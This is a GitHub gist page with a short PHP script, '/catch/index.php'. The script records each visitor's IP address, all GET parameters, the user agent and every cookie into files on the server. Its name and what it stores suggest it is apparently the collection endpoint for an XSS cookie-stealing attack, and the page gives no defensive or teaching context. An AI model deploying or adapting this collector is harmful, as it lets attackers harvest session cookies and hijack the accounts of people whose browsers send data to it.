Skip to content

Instantly share code, notes, and snippets.

@nazywam
Created July 10, 2016 11:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nazywam/5d164f1969491e2067f17b3c61329040 to your computer and use it in GitHub Desktop.
Save nazywam/5d164f1969491e2067f17b3c61329040 to your computer and use it in GitHub Desktop.
/catch/index.php
<?php
$addr=$_SERVER["REMOTE_ADDR"];
$data=print_r($_GET, true);
$browserData=print_r($_SERVER["HTTP_USER_AGENT"], true);
$cookie=print_r($_COOKIE, true);
if(!is_dir("data")){
mkdir("data");
}
if(!is_dir("data/".$addr)){
mkdir("data/".$addr);
}
file_put_contents("data/".$addr."/".time(), "\nGET DATA:\n".$data, FILE_APPEND);
file_put_contents("data/".$addr."/".time(), "\nUSER AGENT:\n".$browserData, FILE_APPEND);
file_put_contents("data/".$addr."/".time(), "\nCOOKIES:\n".$cookie, FILE_APPEND);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment